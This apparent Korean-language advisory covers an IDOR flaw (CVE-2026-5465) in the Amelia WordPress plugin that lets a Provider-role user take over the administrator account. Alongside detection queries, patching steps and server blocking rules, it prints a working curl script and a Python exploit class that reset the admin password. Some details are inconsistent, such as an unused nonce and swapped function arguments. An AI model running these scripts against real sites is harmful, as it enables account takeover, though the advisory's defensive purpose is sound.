
CVE-2026-5465에 대한 익스플로잇 및 분석. Amelia WordPress 플러그인의 IDOR로, 인증된 Provider 역할이 안전하지 않은 직접 객체 참조를 통해 권한을 상승시키고 계정 탈취를 달성할 수 있습니다.
Amelia 플러그인의 안전하지 않은 직접 객체 참조(IDOR) 치명적 취약점으로, 인증된 Provider(직원) 역할 사용자가 WordPress 사이트의 완전한 장악(Account Takeover)까지 권한을 상승시킬 수 있으며, 관리자 접근 권한도 포함됩니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-5465 |
| 소프트웨어 | Amelia – Appointment Booking Calendar |
| 영향받는 버전 | ≤ 2.1.3 |
| 패치 버전 | ≥ 2.2.0 |
| 유형 | 안전하지 않은 직접 객체 참조(IDOR) / 손상된 접근 제어 |
| 공격 경로 | 네트워크(인증됨) |
| 복잡도 | 낮음 |
| 영향 | 치명적(계정 탈취) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639(권한 부여 우회) |
결함은 공급자 프로필 업데이트를 처리하는 UpdateProviderCommandHandler 클래스에 있습니다.
취약한 흐름:
1. "Provider"(직원)로 인증된 사용자
↓
2. 업데이트 엔드포인트에 POST 요청 전송
{
"externalId": 1, // 공격자가 아닌 관리자 ID
"firstName": "해킹된 관리자",
"email": "[email protected]",
"password": "새_비밀번호"
}
↓
3. 시스템이 'externalId'가 현재 사용자 소유인지 검증하지 않음
↓
4. wp_set_password(externalId, new_password) 사용
↓
5. 관리자 비밀번호 변경 → 계정 탈취
민감한 데이터를 처리하기 전에 소유권 확인(Ownership Check)이 없음:
// 취약한 코드(단순화)
public function updateProvider($providerId, $data) {
// ❌ providerId == 현재_사용자 인지 확인하지 않음
$provider = Provider::find($providerId);
// 검증 없이 직접 실행
wp_set_password($data['password'], $provider->wp_user_id);
}
// 올바른 코드
public function updateProvider($providerId, $data) {
// ✅ 소유권 확인
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://example.com"
PROVIDER_TOKEN="provider_인증_토큰"
ADMIN_ID=1
# 보안 NONCE 가져오기(있는 경우)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# 악성 업데이트 실행
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] 응답이 200이면 관리자가 손상된 것입니다"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""IDOR를 악용하여 관리자 비밀번호 변경"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] 악용 성공: 사용자 {target_user_id} 손상됨")
print(f"[*] 새 비밀번호: {new_password}")
return True
else:
print(f"[✗] 실패: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] 연결 오류: {e}")
return False
# 사용법
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://example.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
WordPress 감사 로그(설치된 경우):
사용자: [Provider ID]
작업: 사용자 비밀번호 변경됨
영향받은 사용자: 관리자
타임스탬프: [의심스러운 시간]
서버 로그(Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [높음]
→ 응답 200 OK
WordPress 데이터베이스:
-- 승인되지 않은 비밀번호 변경
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- 의심스러운 이메일 변경
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/에 대한 다중 POST 시도# WordPress 관리자 패널 경유
1. 이동: 플러그인 > 설치된 플러그인
2. 검색: "Amelia"
3. 클릭: "지금 업데이트"
4. 최소 안전 버전: 2.2.0+
# WP-CLI 경유
wp plugin update amelia --allow-root
# WP-CLI 경유
wp plugin deactivate amelia --allow-root
# FTP/SFTP 경유
이름 변경: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx (nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# GET만 허용
if ($request_method = POST) {
return 403;
}
}
Apache (.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
사이트가 이미 악용된 경우:
-- CLI로 관리자 비밀번호 변경
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# WP Session Manager 플러그인 설치 및 검토
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// wp-config.php에서 재생성:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
Cloudflare WAF 규칙:
- 차단: 화이트리스트에 없는 IP의 /wp-json/amelia/v1/providers/[0-9]+에 대한 POST
# 감사 플러그인 설치
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// Provider 권한 제한
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| 날짜 | 이벤트 |
|---|---|
| 2026-01-15 | Amelia 팀에 취약점 보고 |
| 2026-02-01 | 패치 제공(v2.2.0) |
| 2026-02-10 | CVE 책임 공개 |
분류: 🔴 치명적 - 즉각적인 조치 필요
최종 업데이트: 2026년 4월
작성자: 보안 팀
| 매개변수 | 유형 | 영향 |
|---|
externalId | 정수 | 신원 변경(핵심 IDOR) |
password | 문자열 | 비밀번호 변경 |
email | 이메일 | 재설정 시 세션 탈취 |
firstName, lastName | 문자열 | 중요하지 않은 데이터 변경 |
| 2026-02-11 | 실제 악용 사례 발생 |
| 오늘 | 긴급 업데이트 권장 |